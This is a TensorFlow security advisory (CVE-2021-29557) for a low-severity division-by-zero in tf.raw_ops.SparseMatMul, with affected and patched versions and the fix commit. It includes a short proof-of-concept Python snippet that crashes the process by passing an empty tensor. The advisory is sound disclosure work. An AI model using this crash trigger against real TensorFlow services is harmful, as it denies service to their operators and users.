<> Code   ⊙ Issues 2.1k   ⥊ Pull requests 313   ▷ Actions   ⊞ Projects 2   •••

Division by 0 in `SparseMatMul`

Low   mihaimaruseac published **GHSA-xw93-v57j-fcgh** on May 12, 2021

Package

🐍 **tensorflow, tensorflow-cpu, tensorflow-gpu** (pip)

Affected versions

< 2.5.0

Patched versions

2.1.4, 2.2.3, 2.3.3, 2.4.2

Description

Impact

An attacker can cause a denial of service via a FPE runtime error in `tf.raw_ops.SparseMatMul` :

```
import tensorflow as tf

a = tf.constant([100.0, 100.0, 100.0, 100.0], shape=[2, 2], dtype=tf.float32)
b = tf.constant([], shape=[0, 2], dtype=tf.float32)

tf.raw_ops.SparseMatMul(
    a=a, b=b, transpose_a=True, transpose_b=True,
    a_is_sparse=True, b_is_sparse=True)
```

The division by 0 occurs deep in Eigen code because the `b` tensor is empty.

Patches

We have patched the issue in GitHub commit 7f283ff806b2031f407db64c4d3edcda8fb9f9f5.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.

Severity

Low

CVE ID

CVE-2021-29557

Weaknesses

No CWEs